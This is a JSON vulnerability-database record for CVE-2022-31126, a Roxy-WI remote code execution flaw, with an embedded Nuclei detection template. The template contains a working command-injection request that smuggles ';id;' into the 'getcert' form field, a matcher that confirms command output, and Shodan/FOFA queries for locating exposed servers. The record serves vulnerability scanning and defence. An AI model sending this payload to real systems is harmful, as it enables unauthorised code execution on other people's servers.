{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-31126/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-31126/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-31126/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-31126/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-31126/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-31126"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-31126"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-31126.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-31126\n\ninfo:\n  name: Roxy-WI - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the ssh_command function without processing the inputs received from the user in the /app/funct.py file.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Users are advised to upgrade to latest version.\n  reference:\n    - https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/\n    - https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-31126\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-31126\n    cwe-id: CWE-74\n    epss-score: 0.52649\n    epss-percentile: 0.9893\n    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: roxy-wi\n    product: roxy-wi\n    shodan-query: html:\"Roxy-WI\"\n    fofa-query: body=\"roxy-wi\"\n  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /app/options.py HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        Referer: {{BaseURL}}/app/login.py\n\n        show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f63ab46ebfe3721c2fbd980e98f654e4a1d9b769da6078b6f30e8714ba8ed5330220206132a0b6e8f2020f1ae55b4ca456af6ef862298d331e902a667a046cf40be7:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-31126"
}